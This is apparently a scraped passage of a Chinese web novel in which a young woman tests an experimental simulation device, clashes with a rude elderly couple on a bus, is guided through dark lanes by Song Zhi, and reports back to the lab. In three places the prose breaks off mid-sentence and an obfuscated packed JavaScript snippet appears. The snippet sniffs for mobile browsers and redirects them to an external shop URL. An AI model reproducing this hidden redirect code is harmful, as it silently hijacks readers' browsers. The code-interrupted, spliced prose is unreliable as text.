而最让雎安意外的,是童敏洗手时挽起的衣袖下是极为刺目的黑青色淤青,以及发现她在看她时,迅速拉下袖子后,显露出的慌张和不安。 似乎......脆弱无助之类的字眼才更符合她。 她是在经历着什么不好的事吗? 这样想着,雎安走了神,险些错过发往学校的最后一班车。 雎安火急火燎地刷卡上车,衣衫已被汗水浸湿,除去闷热的夏夜没有清风,就是被她自己吓出来的。 后方第二排靠窗的座位空着,她毫不犹豫地走过去,刚一坐下,便感受到头顶的空调风呼呼地往下吹,冷得她直打哆嗦。 这班车并非直达快线,中途需要绕路行驶,预计要一个多小时才能到学校。雎安将包包放在自己的肚脐眼上边,翻找出手帕纸将额头和颈部的汗珠擦去,随后又将防晒袖套穿上,这才消停下来,满意地靠在椅背上休息。 兴许是身体的热度下来了,雎安逐渐发困,本来只是望着窗外的景色发呆,慢慢的,头不自觉地向窗户倾倒,眼皮慢慢地粘合到一起。 毫无征兆的,雎安意识到她是独自出行,绝不能睡着! 刹那间,雎安猛地睁开双眼,对上了一双玻璃体略显浑浊的双眼,那双眼睛正在上下打量她,眼底带着些轻蔑和不屑。 这绝不是善意的眼神。 她吓得坐直身子,环顾四周,发现自己仍在车上,只是身边的乘客大多都换了,于是有些慌乱地翻查身上的财物。 幸好!东西都还在。 雎安放下心来,轻拍胸口,以示安慰, 见她醒来后一通折腾完,放松身体,又靠回了椅背上。阿姨翻了个白眼,对身旁站着的阿叔说:“现在的小姑娘可真娇气。” 阿叔也是个厉害的,帮衬道:“唉~教养没有,爱心也没有。也不知道现在的父母都是怎么教育的,再这样下去,这代年轻人啊、这个社会啊,可就废了~” 雎安无语至极,她当然知道这两人是在内涵她。先不说她根本就没注意周围的情况,如今正值下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903035|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班晚高峰,车上几乎是超载的状态,既然选择搭乘公共交通,必定是要做好站着的心理准备。 她自认是个没脾气的人,只要不强行招惹她,很多事她都是能让则让,秉承着不必太计较的原则。但若是碰到得寸进尺、咄咄逼人的人,她便会锱铢必较、睚眦必报。 此刻的雎安便是如此,既然对方说话阴阳怪气,那她就回瞪他们,直接扭头看向窗外,权当什么都没听见。 让座?不存在的。 谁知突然一个急刹,阿叔手没抓稳,直接栽倒在一个女生的身上。雎安眼疾手快地站起身,略过淡定的阿姨,一把抓住阿叔的手腕,将他扯回原位。 阿叔看着不过六十岁,瞪人时的眼睛炯炯有神,手臂肌肉比年轻小伙还要健硕,看着精气神十足,谁想竟是外强中干,连扶手都抓不稳。 雎安见状,在阿叔站定后,起身将座位让出。 阿叔心有怨气,一边坐下,一边嘟囔着:“早点让座,不就没那么多事了。” “就是啊。”阿姨帮腔,瞥了眼雎安,用极心疼的语气,夸张地附和道:“差点把你给摔了。” 车厢拥挤,无处下脚,刚刚阿叔的位置也被新上车的人占了,雎安挤在后方座位的过道上,听着两人喋喋不休地指责,耳朵逐渐染上红晕。 愧疚占一半,气愤占一半。 愧疚来源于她从小接受的教育,告诉她应该要给老、弱、病、残让座。 气愤来源于他们认为帮助是理所当然的,不帮就是她道德败坏,并且欺软怕硬,既不敢说开车的司机,也不敢针对其他成群结队的人,只盯着独行的女生。 现下雎安和他们有段距离,他们的注意力又放在了另一个女生身上。那女生是原先站在阿叔身边的人,被阿叔撞倒后,头磕到了扶手,正用手心揉着额骨的位置。 “您的购物袋可以收到您脚下去吗?”后门又上来两个人,女生被挤得无处落脚。 “小妹,你也不看看我俩都多大年纪了。这么大个袋子,万一推过来磕到我和老伴腿脚,那怎么办?”阿姨不等那女生回答,睥睨着雎安,道:“我老伴刚刚差点就受伤了。” 雎安深吸口气,别开脸,劝自己冷静,忍忍再忍忍。 实验很快就要结束了,别给自己找麻烦。 “拜托!”女生本就被挤得烦躁至极,见俩人倚老卖老的做派,气不打一处来,“没抓住扶手的你老伴,做肉垫的人是我,受伤的人也是我。你们既然抓扶手都抓不稳,干嘛还在晚高峰的时候来坐公交车啊?!” “你这小姑娘怎么这样说话啊?” 砰的一声,阿叔愤怒地拍打前座的椅背,丝毫没有顾虑他人的感受,在狭小拥挤的车厢里,用所有人都听得清的怒吼声,质问道:“我们坐公交怎么着你了?你怎么和那姑娘一样,一点爱心都没有?没教养!” “我没教养?!”女生气得踹了一脚他们满满当当的购物袋,反讽道:“你们可真有教养,有座位还把东西堵在过道这,我们连个落脚的地方都没有,你们有没有基本的同理心啊?!” 原先暴怒的是阿叔,阿姨气是气,但她想让老伴冲前头,所以表现得还算镇定。 但当她看见女生踹了她一早抢购的肉蛋奶时,气得站起身,倏地抬起手,照着毫无防备的女生连挥两拳,“你是不是没爸妈教的啊?家里没老人啊?我今天就替他们教训教训你!” 拳头虽不是呼在脸上,杀伤力仍不容小觑,那一击如重锤般砸在女生瘦弱的脊背,令她咳嗽不断、眼泪不止,难受得倒在了后边男生的身上。 终于,雎安忍无可忍,对上俩老人在暴怒之下扭曲的面庞,冷声质问道:“你们倚老卖老、为老不尊,怎么有脸教训别人?” 突如其来的沉默。 除去发动机的声音,车上什么声音都没有,仿佛能从空气中闻出火药味来,就好像,此刻哪怕出现的是渺小如尘埃的火花,也会即刻爆燃车厢。 如此紧张的氛围下,雎安昂起头,回敬似的睥睨着他们,没有一点要退缩的意思,以至于根本没注意到装置的退出提示已然跳出。 13. 热烈到窒息的爱意 柿子专挑软的捏。 俩老人专找独行的女生下手,还是长相温婉清秀、一看就好欺负的女生。 宋挚不禁嗤笑出声,虽站在车厢的最前方,刚才却也透过后视镜看得一清二楚。 阿叔原先被一群人围着,一开始就没好好抓扶手,因为就算向后倒,也有人做他的肉垫。如果连续倒一片,真正危险的也是站在门边乘客,不是他。而他的老伴明明坐在靠过道的位置,既没有伸手去拉,更没有显露一丝惊慌。 人下意识的反应是很难控制的,这两人是惯犯的几率很高。 世界之大,无奇不有。 为了座位,不顾他人和自身安危的老人并不多见。 这也算是开眼了,宋挚想。 急刹的小插曲后,车厢归于平静,宋挚接着埋头编辑手机信息。 不久后,车厢后部再度传出俩老人高亢的牢骚声。但那又能怎样?和不讲理的老人争论,是非常不明智的行为。 车厢里沉默的一众人,心里都很清楚。 宋挚:妈,您要的电脑和课件u盘我都带来了。只是我坐的是公交车,所以会慢点到。 邓玉瑛:怎么不打车? 宋挚:打了,被拒绝了两次。出租车司机说您学校附近不是在修路,就是狭窄的村道,不好开进去。 邓玉瑛选了个‘请大佬喝茶’的表情包,点击发送:辛苦了!晚点我坑你爸比来接你回去,顺带逼迫他再给你买辆车,嘻嘻~ 宋挚:不用,车只是被碰了下,很快就能修好。偶尔坐车也不错,我很快就到了。 空气中弥漫着难闻的汗臭味,车厢闷得像是被太阳直射般燥热,最离谱的是,脚下的位置小得几乎只能踮着脚站立。 这体验着实不好,发完最后一条信息,宋挚放下手机,侧过脸,皱眉看向窗外。 争吵声便是在此刻响起的,起先还只是略微激动地争执,在阿姨动手的那刻,矛盾瞬间升级。 之后又陷进短暂的安静中,不止是宋挚,几乎是除俩老人和司机之外的所有人,都将最凌厉的目光投射过去。 有人开口声讨是意料之中,只是他没想到率先响起的是一个有力的女声。 并非是他有性别偏见,而是那俩老人的战力实在恐怖,他们能随时给A女生一巴掌,那么自然觉得,欺负B女生也不过是在举手之间。 他想,那名女生很清楚这点。 她很勇敢,他好几次想看清她的面容,只可惜,她都被前边的几个高个男生遮挡得严严实实。 如他所料,即便隔着三个人,那阿姨回过神后,二话不说就往前扑,抬手就要打那女生。 只是,这次并没能如她所愿,她的拳头在半空中被拦截。 一个强有力的手掌抓住了她的手,那是一个手臂上都是腱子肉的高个子女生,她的身边还有三个同样有健身痕迹的高个男生,一个站在她身前,另外两个男生围着阿叔和阿姨,瞬间将压迫感拉满。 “好了,别挤了!”宋挚身前的男子颇有经验地劝到,“群众的眼睛是雪亮的。待会儿你帮衬着吼几句就行了,个个都过去撑腰,那不都挤成肉饼了。” 很快,男子的话就得到了验证。 在阿叔上前并动手推搡那三名学生的瞬间,车厢里响起一阵又一阵的声讨声,听得大家慷慨激昂。 这时,宋挚却并没有跟着喊,而是挤回车头,提议司机将老人放下车,避免矛盾再度升级。 最后,在听到阿叔和阿姨动手打那三名小伙的手臂并索要钱财作为补偿的声讨后,司机终于忍无可忍,下定决心,猛地打转方向盘,将车开到最近的加油站,熄火劝他们下车。 过程虽然曲折,结果还算满意。 无理取闹的他们在全车人的声讨声中,灰溜溜地下了车,如落汤鸡般狼狈地躲进加油站的便利店里。 虽然,他们始终不觉得自己有错,下车时,仍固执地咒骂着所有人。 “一点都不尊重老人,饭真是白吃了,你们都该死!” 这句话如魔音般环绕在车厢内,即便是在俩人下车后,雎安仍觉得自己被高音量折磨着,耳膜在一股一股的振动,心情也是既开心又无奈。 开心的是大家如此同仇敌忾,无奈的是这样的老人没有受到惩罚。 公交车重新行驶起来,车厢内仍旧拥挤,空气中的燥热不减,雎安看着窗外的景色发呆,企图转移注意力。 突然,“华州财经大学”六个大字一闪而过。 她的眼睛猛地睁大,心跟着颤了一下,片刻后,意识到了什么,赶忙拿出手机确定,打开定位,查询当前位置,发现真和她想的一样。 司机并没有按路线行驶进华州财经那条狭窄的村道,而是顺着公路直接开往下一站。 “师傅,站牌不是写着会去华州财经大学吗?” 雎安隐约听到学校名称,猜测是前排的校友在询问司机,立刻竖起耳朵听。 “要提前说呀!” 刚才那对夫妻指着司机破口大骂,兴许是因此而感到心情烦闷,后半程司机开得飞快,总是在急刹车。 “开进去就是纯绕路,晚上的路又窄又难走。不提前说的话,我开进去干嘛?” 可你又没说要提前说?自己不按路线走,理由倒挺多。 雎安这样想着,脸色瞬间沉了下来。 “按路线行驶是您的工作职责,我没有提前说明,是因为你没有提前询问。“男生没有因指责而露怯,更没有气急败坏、大吵大闹,而是义正言辞地说出他的诉求,“这附近偏僻且不好打车,请您按路线行驶,开进去就好。” 言下之意,他只是希望司机做分内之事,并非无理取闹。 雎安暗自佩服的同时,觉得他的声音十分耳熟,故而踮起脚往前看。 只可惜,此刻的她站在车厢中段,没有了台阶的加持,她的身高只能让她看到跟前大叔大哥们的臂膀。 “刚刚问你又不说!车上还有几个华州财经的学生啊?”司机瞥他一眼,不满地高喊。 “还有我。”雎安高声回应,举手摇晃着手里的手机。 听到回应,司机一个急刹,将车停在路边,声音变得更加急躁和不耐,“就两个人,走点路算什么?从这绕小道进去不到两公里,我开车绕回去要五六公里。大家时间都紧,不可能为了你们浪费时间。” 言外之意,赶紧滚下车! 此时,雎安的左手再次震动,跳出“请尽快确认退出”的提示。 可她因为大起大落的情绪波动而忘记了这里是装置,还以为是碰到了旁边大哥的手机,十分自觉地将双手收至胸前,注意力全在司机和男生身上。 车门骤然开启。 是司机孤行一意的决绝与霸道。 原以为那男生会继续和司机争辩,雎安脑中还在谋划着如何联合男生一起反驳司机,谁想他转身就从打开的前门下了车。 雎安的身体快于大脑,一边说着抱歉,一边挤开堵在后门的人群,生怕暴躁的司机直接啪一声就把门给关上。 匆忙下车后,雎安心都凉了半截。 这一块都是泥土遍布的小道,四周是寂静的村庄和正在施工的工地,昏暗的道路偶有附近的工人三三两两地出现又消失。 几个小时前,她绝对想不到自己会被丢在这荒郊野岭,眼睛死死地盯着手机屏幕,无助地蹲在马路边叫车。 然而,难受就难受在,这附近都是施工地,无论是人行道、还是机动车道都极难行驶,就没看到有出租车,愿意接单的网约车司机也寥寥无几,即便接了,也是从市区到华州财经大学,随即又能在财经大学门口接单离开。 她偏就卡在这离学校不到两公里的尴尬处。 雎安等了五分钟,发现是一点希望都没有,大脑空白,没有一点主意,只能心灰意冷地抬头,迷茫地环顾四周。 突然间,目测在五十米开外的小道上,她看到有个高高的身影立在那,时而转头看向车道,时而望向她的方向。 雎安眯着眼,猜测他刚刚在前门下车的男生,兴许和她一样,是在打车。 要不要上前问一句呢? 雎安很想去,又有些害怕,毕竟对方可是个强健挺拔的成年男子,要是突然起了什么歹念的话...... 不等她胡思乱想,对方突然转身,迈步往前走,看方向是去华州财经大学。 雎安一愣,再度由身体先做出反应,直接跟了上去。 不过,她不敢靠太近,以免让男生觉得她在跟踪他。 只是,才跟了300米不到,她就发现真是高估自己了。 她的步子明明迈得又开又快,但只一个转角的功夫,就连男生的背影都看不到了。 就在雎安怔忪之际,路过的工地碰巧冒出来两个裸露着肚皮的男人,他们的嬉笑声在寂静的夜里尤为刺耳。 于雎安而言,甚至是阴森诡怖的,仿佛饥饿已久的野兽,随时可能张开獠牙扑向她,将她吃得皮骨不剩、血肉模糊。 后来,回到现实后,她回想过好几次。 为什么她当时这么害怕,都没有想起来那不是现实?难道人做噩梦被困在里面,怎么都醒不来的时候,就是这般体验吗? 夜色如墨,渺无人踪,月光不知何时被游移的云层所遮蔽,道路被灯光染得更为昏黄。粗重的喘气声,急促的脚步声,擂鼓般的心跳声,都在一步步敲击着她的心理防线。 而这一切源于未知和幻想的恐惧,都在她在转角后再次看到那个身影时土崩瓦解。 男生站在原地,四处张望,雎安能感受到他的视线是在寻找她。 事实也确实如此,因为在他锁定到她身影的瞬间,便转过身去,接着往前走了。 雎安看着男生所在的方向,只能凭借微弱的灯光看出他穿的是白色短袖和黑色工装裤。 再简单不过的穿搭,却如秋风般清爽惬意,吹散了她的恐怖和不安。 学校附近这片区域一部分是开发地,另一部分是原有的村庄。本就四通八达的道路,此刻被分割得七弯八拐,不到百米就有一个弯。 由于体型上的差距,男生在走了一段路后,再一次消失在了拐角处,而雎安已经是小跑的状态,也没能及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903036|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时跟上。 一段又一段的路,每次雎安以为会跟不上、而想要放弃的时候,就会看到他停在原地等候的身影。 三次过后,兴许是终于察觉到她实在跟不上他的脚步,男生的行进速度明显比之前放慢了许多。之后,雎安不用再一路小跑,都能看见他的背影,而他们一直保持着不远不近的50米距离。 她想,一定是那男生有意地在控制距离。 他在保护她,但是不轻易靠近她。 雎安描述不出此刻的心情,只是看着他的背影。他每前行一步,她就跟着走一步。他每回头看她一次,她的心跳就会不受控制地漏一拍。 跟着他走,这条路,好像瞬间就变得不那么难走了。 突然,男生停下脚步,整个人像是被冻住了般。随后,他手里的电脑包跌落在地,发出沉闷的响声。 而雎安跟在他身后,以为他是停下来等自己,脚步不自觉地加快,很快便走完了小巷子里的最后一个拐弯口,看到前方的道路被校园内明亮的灯光照得像是进入了白昼。 和她所处的逼仄昏暗的小巷子,简直就是两个世界! 身后的雎安不明情况,那声沉闷的响声没有让她生出一点危机意识。 当下的她仍在小巷子里,脚步轻快地朝着光的方向往前走,目光落点在男生被白光打得犹如光环加身的后背上。 她发现,他的白色短袖有些透,在强光的照射下,能隐约看见衣服下的身材轮廓--宽肩窄腰,肌肉线条流畅有力。 意识到自己的思绪飘得有些远,雎安晃晃脑袋,不自然地别开眼,看向地下那被拉得极长极瘦的畸形影子。 不只有一个影子。 身后的影子比她影子还要长,且步子迈得极快,往她的方向而来! 而那个影子,手里有把弯刀! 雎安脚步一顿,突然,猛地向前跑,朝着那被光铺满的大道,朝着那名带给他安全感的男生,握着拳,咬着唇,全力往前冲! 在冲刺的短短几秒钟里,她在想,她要救他,她要拉着他的手一起跑! 双手交握的瞬间,雎安冰凉的手有了温度,她用力一扯,以为能带动他往前跑,却被一股更强的力带着整个人都被调转了方向。 她看到了他的脸,看到了他的眼睛,也看到他的身后没有人追来。 幽深沉静的死水终日平整如镜,这双黑眸她曾见过,不是在装置里,而是在现实中。 可就在片刻之后,他眼睛里那熟悉的陌生感陡然消融,像是雪山爆发,炽热瞬间消融寒冷,变成了让她感动陌生的熟悉感。 “宋挚?”雎安瞪大双眼,不可置信的情绪生生写在脸上,可很快,她就收敛了这份情绪,发自内心地笑了出来,不无惊喜地感叹道:“太好了,见到你真是太好了~” 关于宋挚,雎安并不了解。但她肯定他是个品行良善的好人,是她身处危险时,最想与之同行的点头之交。 “我和你说,我刚刚看到......” 千言万语道不尽,热吻远不及拥抱来得慰藉。 撞入花海的那刻,雎安鼻腔内充盈着某种道不明的清香,不知是沐浴露还是香水,或是宋挚身上独有的气味。 这香气让她觉得前所未有的安心。 提示:请立即返回,点击“确认”后结束旅程。 她看见自己的左手手腕处跳出了操作界面,本该毫不犹豫地点下确认键的。但宋挚的啜泣声,以及她肩头那被眼泪润湿的衣衫,都没能让她狠下心来。 她想,晚一点回去也没事吧。 “你怎么了?” 宋挚没看见那影子,应该不是受到惊吓才对,这浓烈的情绪来得也太突然了。 难不成......因为她的行为改变,他们在装置里,有了什么情感纠葛? 雎安的心里满是疑问,但又不得不承认,她的内心是满含期待的。 如果是和他有情感纠葛的话......也挺好。 “对不起,对不起……” 宋挚的手愈收愈紧,两人的身体几乎严丝合缝地贴在一起,紧得似乎能透过体温连接彼此的感受。 雎安不适应,伸手推了推宋挚的胸口,可一点用都没有,他的脸深深地埋在雎安的颈窝处,鼻尖的气息打在雎安的颈侧,发痒,发热,带着浓烈的情绪,透过雎安的皮肤,侵入雎安的身体。 “明明说好了,我来找你的。” 宋挚的声音再度响起,随后发出濒临破碎的哽咽声,她的心里突然涌起一种无可名状的悲伤,好似有碎玻璃扎在她的心上,刺得她透不过气来。 她不喜欢这种感觉。 “雎安,见到你真是太好了。” “给我一个走向你的机会,好不好?” “求你,不要离开我!” 没有人在说话,但她却听到了,应是某个人的心声侵入了她的耳膜、她的记忆、她爱意荒芜的内心。 这就是她在平淡生活里一直期盼的热烈到窒息的爱意吗? 这一刻,她好像明白了装置的可怕。 她必须回去了。 14. 因为,你不诚实。 晋江文学城 二零二三年六月六芒种。 所有人都围着她,只有宋挚站在远处,没有选择靠近。 雎安一边平复情绪,一边和大家道歉,“对不起,我确实看到退出提示出现了一次,但我还有话和朋友说,所以没立刻点确认,我以为迟一点也没关系。真的对不起,吓到大家了。” 在说到朋友的时候,雎安不自觉地看了眼宋挚,对上眼的那个瞬间,吓了一跳。 她不知道宋挚一直在观察她,眼睛都没挪开过。 张百星抬手,擦了擦额前的汗,“哪里是一次啊,我们呼叫了你三次!最后是电击唤醒你的。” 呼叫了三次?还是电击唤醒?! 雎安捂着胸口,自觉身上有发麻的感觉,但又像是幻觉,兴许是心理作用。 “雎安,我扶你出来。”陈思雨上前,伸手去扶雎安,“来,小心头。” 随后,雎安和实验组成员在座椅上一一落座,等候雎安复述自己在装置里的所见所闻。 而这次,雎安说的只是些鸡毛蒜皮的小事,着重说的也只是公交车上遇到的那对霸道夫妻,因为她觉得,她需要着重解释的部分,是她迟迟未归的原因。 “就是这样。兴许是我当时情绪上头,太生气了,所以没注意到前边两次的提醒。”雎安解释道。 “所以,首先是震动的强度太低,再者,退出提示的显示时间太短,得改进。”宋言林面无表情地总结,很快便提出解决方案,“第一,把震动加强,最好是持续不断的震动。第二,没有点击确认的话,退出的操作屏就一直展现,这样不容易被忽略。” “好,明白了。” 陈思雨和吴曼菲同时应答,并将此记录下来,她们就是负责这块的。 这听着似乎只是普通的设定优化,但并非简单的工程,粗略估计,可能得花上她们一到两周的时间。 雎安则竖起耳朵,站在一旁听他们讨论详细的修改计划。 宋言林看到后,过来拍了拍她的背,说道:“雎安,你先回去好好休息,等我们优化好了,我再通知你下次实验的时间。这次太麻烦你了,工作日还让你专门请假过来。以后,我会尽量把实验安排到周末。” “好。”雎安心不在焉地点头,脸上是一副欲言又止的表情。 宋言林猜测原因,补充道:“因此产生的费用,我会全部报销。” “好。”雎安仍旧心不在焉,时而看向宋言林身后的人,时而做出想要回身去看的动作,“宋教授,关于实验,我有话想问您。方便借一步说话吗?” 闻言,宋言林点头,没有表露出任何意外的情绪,直接了当地带雎安去到连接两栋教学楼的廊道上站定。 “会不会觉得有些晒?”宋言林关切地问道。 “一点点而已。”雎安如实回答,随即背过身去,“不晒眼睛就行,晒晒背挺好的。” 一个丧妻的中年教授独自带女同学进办公室并不妥,尤其是在需要关门说悄悄话的情况下,很容易被有心人借题发挥。 宋言林想了想,将雎安带到视野宽阔的廊道上,这样既不用共处一室,又离左右两边的实验室有段距离,还能第一时间发现靠近的人,从而防止谈话内容泄露。 雎安满脑子都是装置里的事,倒没考虑这么多,只乖乖跟着宋言林,直到在廊道上站定,视线被远处的风景吸引,看着落日余晖洒向大地,天地间一片金黄,暖调从眼入心,慌乱的心绪得到了一丝抚慰。 她深吸口气,趁着自己还有足够的勇气和清晰的思绪,噼里啪啦地将装置里发生的怪事说了出来,只有某些让她感到羞耻的部分,她才会因为支支吾吾地说不出口,而被迫放慢语速。但总得下来,她都像一把机关枪似的,“突突突”地连环发射,恨不得能将脑中所想都在眨眼间尽数吐露。 言毕,雎安满脸通红,恨不得挖个洞钻进去的同时,小心翼翼地观察着宋言林的脸色,生怕他会破口大骂,怕他直接让她滚出这里。 毕竟,那零碎的故事情节,最大的可能是什么,成年人心里都有数。 她就差没直接说,“你儿子很可能是想做小三,而且最后还成功上位了”这种话。 “你是说,因为救下叶扶英,你见到了我和我的妻子?”宋言林眉头紧蹙,第一反应却与宋挚无关。 雎安一愣,“没错,我是见到了您和阿姨。” “我是不是......”宋言林叹了口气,“看起来......沧桑了许多?” 啊?宋教授原来有颜值包袱? 雎安略一思忖,斟酌用词道:“您那时候确实看起来神采奕奕的,很幽默,很喜欢和大家开玩笑,现在则是更加沉稳了。” 藏在心里的实话是,您确实老了许多,笑容也少,总是一副闷闷不乐的样子。 “你认识周浮沉吗?”宋言林话题一转,生硬得雎安都没反应过来。 “不认识。”雎安摇头,“名字都没听过。” 浮沉这个名字,雎安第一时间联想到的就是茶叶,她极爱在冬日清晨喝红茶驱寒。 如果她听过这个名字,一定会有印象。 宋言林满意地点头,又莫名其妙地转移话题,“那你觉得阿挚这个人怎么样?” 雎安,“......” 为什么突然又让她点评他的儿子?她不可能说得出口啊! “你是讨厌阿挚吗?”宋言林见她一脸为难,很快就换了个问法,“毕竟从你见到他开始,他就一直臭着个脸,我怕那些记忆会让你感到不适。” “不不不~”雎安连忙摆手否认,“不会,我们又不认识,他没什么表情很正常。” 再一次,宋言林满意地点了点头,欣慰道:“那就行了,其他的我会处理好,那......现在就没什么问题了。你先回去吧,等下次实验,我会提前两天通知你。” “啊?”宋言林的态度和处理方式让雎安摸不着头脑,她再次与他确认,“这真的没问题吗?会不会是哪里出了问题?或者是,我会不会是不适合这个实验呢?” 打心底里说,雎安是怕的。 怕那些奇怪的记忆变为现实,怕自己真的杀了人,怕那个握着刀的怪影,更怕......这一切都和宋言林有关,怕是他在暗中驱使。 可他为什么要以这样的形式害她呢?根本就没有道理啊。 宋言林准备回实验室的脚步一顿,眼神凌厉了几分,“你想打退堂鼓?” 雎安没有立刻回答,眼神却游移不定,思忖片刻,才回复宋言林,说自己不过是有些疑问罢了。 她不是志愿者,来去并不自由,违约便要支高额违约金。 这一点,她记得很清楚。 宋言林并不拆穿她,权当没看到她的害怕和退缩,但仍出声安慰道:“这很正常,如果装置是完成品,那我们为什么还要通过实验来改进?你不用紧张,也不用担心,只需要在装置里保护好自己,决不能在装置里出事,然后就是在现实里保守好秘密就行。刚刚告诉我的事情,不能告诉其他人,其它的都不是问题。” “明白了吗?” 宋言林的语气柔和,雎安却听出了警告的意味。 她木讷地点头,扯出一个笑容来,随后便乖乖地跟着宋言林回了实验室。 然而,他们不知道的是,连廊之上,有人双手搭在栏杆上,晒着太阳,吹着风,被迫成为了她们的听众。 ———— 帆布包上有一朵栀子花,和一个可爱的玩偶绘图,是雎安用来混入大学生群体的减龄利器,此刻就躺在实验室的座椅上。 “辛苦大家了,那我先回去了。” 雎安微微躬身,与实验室众人道别后,拿起帆布包和手机,向大门走去。 这时,宋挚推门而入,淡漠地扫了眼在场的人,手上还有未干的水渍。 宋言林瞥他一眼,眉头微拧,随即抬手示意他过来。 宋挚见状,不解地蹙了蹙眉,但仍乖乖来到父亲身边。 两人此刻的表情,毫无二致。 宋言林用不容商量的语气道:“雎安不熟悉路,麻烦你把她送到校门口,再回去学习。” 雎安连忙摆手,“不用不用,我自己出去拦小黄车就好。” 不等宋言林开口,宋挚率先道:“没事,我送你出去,顺路。” 话音刚落,其他人都十分古怪地看着宋挚,心想,这路最多也就顺个两百米吧,宿舍楼和教学楼都不在校门口。 ———— 正值下课高峰,傍晚的校道人流熙攘。 学生们或是步行,或是骑行,朝着各自的目的地行进。不远处,隐隐传来声乐系学生的歌声,宛如一串骊珠,虽听不清歌词,但婉转动人的曲调伴着皎洁的明月,路过的人不免沉醉。 “这么多人,应该很难搭上小黄车吧。”雎安看着阶梯下方攒动的人头,有些不安。 人越来越多,每经过一个叉路口,都会汇入新的人流。 宋挚只得放慢脚步,和雎安并肩而行,“我已经微信让师兄过来,他是开小黄车的,待会到了主干道,我让他带你出去。” “好,谢谢你。” 宋挚今天穿的是一件简单清爽的短袖白衬衫,清风吹起他的衣角,雎安闻到了熟悉的气味,是装置里那个让她感到安心的香气。 很熟悉,像是一种花的香气。 风停,气味也随之消失。 雎安有些失落,又有些心焦,因为她还没辨认出那是什么花的香气。就和她在寻找物件的时候一样,越是找不到,她越是心急,可她越是心急,就越是找不到。 原先两人的距离,中间足以站三个人。 刚才,因为宋挚的靠近和雎安的嗅闻,两人现下的距离有些过于近了,近得雎安能感觉到宋挚的衣袖拂过她肌肤时的微弱触感,痒痒的,好似还能感受到他的体温。 而她一个不留神,肩膀就擦到了他的手臂,相较于她因紧张而发凉的肌肤,他的体温像是能灼烧点燃她般,炽热得如同篝火在旁。 不自觉的,她心跳加速,大脑也跟着开始胡思乱想。 她想起他刚刚侧头与她说话时,刻意压低的声音,酥麻得像是有微弱的电流从耳膜钻进她的大脑,触碰到了她极为敏感的神经。 除此之外,她还想到了装置里那个密不透风的拥抱,她的手抵在他的胸口,鼻腔里都是他的气味,而他一手环着她的后腰,一手轻抚她的后背,唇贴在她耳边,用带着哭腔的声音,表达对她的情意。 那时,她也有类似的触电感。 想到这,雎安觉得自己像个透过门缝觊觎美人的变态,不由地心虚,故而一直低着头走路,不敢往宋挚那看。 而她不敢直视宋挚,自然不会知道宋挚正在看她。 她感受到的目光,不是来自于她的想象。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903037|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >由于身高的原因,若不低下头,那宋挚就只能俯视雎安,虽然看着有些傲慢,但无所谓,她根本就没在看他。 她的皮肤白净,眼睛明亮有神,鼻梁立挺,唇似点绛,面中饱满,虽然不是明艳的类型,却是越看越舒心,整体是一种清风拂过般柔和的美感。 只是,她不善交流,很容易脸红,似乎还有些怯懦胆小,不是他欣赏的个性。 “你是在装置里见到我了吗?” 宋挚的这句话有如惊雷,惊得雎安连连摆手否认,情绪过激得像是一直炸毛的猫。 虽然宋言林曾说过,装置里改变的事并非她的想象,而是独立于现实的客观实在。 但现实里对自己很冷漠的帅哥,在装置里对自己含情脉脉,这种话说出口,也太像在意淫人家了吧! 反正她打死也不认! “哦?”宋挚明显不信,尤其在看到雎安惊慌无措的模样后,更加肯定,“你刚刚在实验室,复述你在装置里的经历的时候,我听到了卢宇年和沈遂行的名字,他们是我的朋友。所以,我还以为我也出现了。只是,你刻意隐去了。” “啊?我为什么要刻意隐去?”雎安呼吸一窒,抓着包带的手慢慢收紧,敷衍地应答:“我没看到你啊~不过,既然你们都认识,那应该很快就能见到你了,哈哈。” 装置里,她第一次待了四天,第二次待了八天,加起来有十二天,都快有两个星期了。 期间发生的事情不尽其数,就算隐去她救下叶扶英的部分,抹掉几个出场的人物,她能分享出来的故事仍然非常得多,多到她还能自行删减掉一些她认为不重要的情节。 反正,宋言林并没有要求她要一字不落地说出来。 说来也怪。 在实验的时候,雎安说得起劲,宋言林总会冒出来打断,最后还直接在众人面前强调,让她回去好好休息,说是担心她过于劳累会出现副作用。 可雎安却觉得,宋言林对她在里边的经历并不算在意,也不太想她分享出来,哪怕是和实验组的成员。 “你最后说,你回来前有个男生抱住了你,会不会是卢宇年?”宋挚看似漫不经心地问道:“我记得他是在华州财经读的本科,和你是校友。” “不是他。”雎安的语气十分肯定,“不过,说起卢宇年,我读书的时候好像都没见过他,这回却在装置里碰见了两次,就会觉得......有点新奇。” 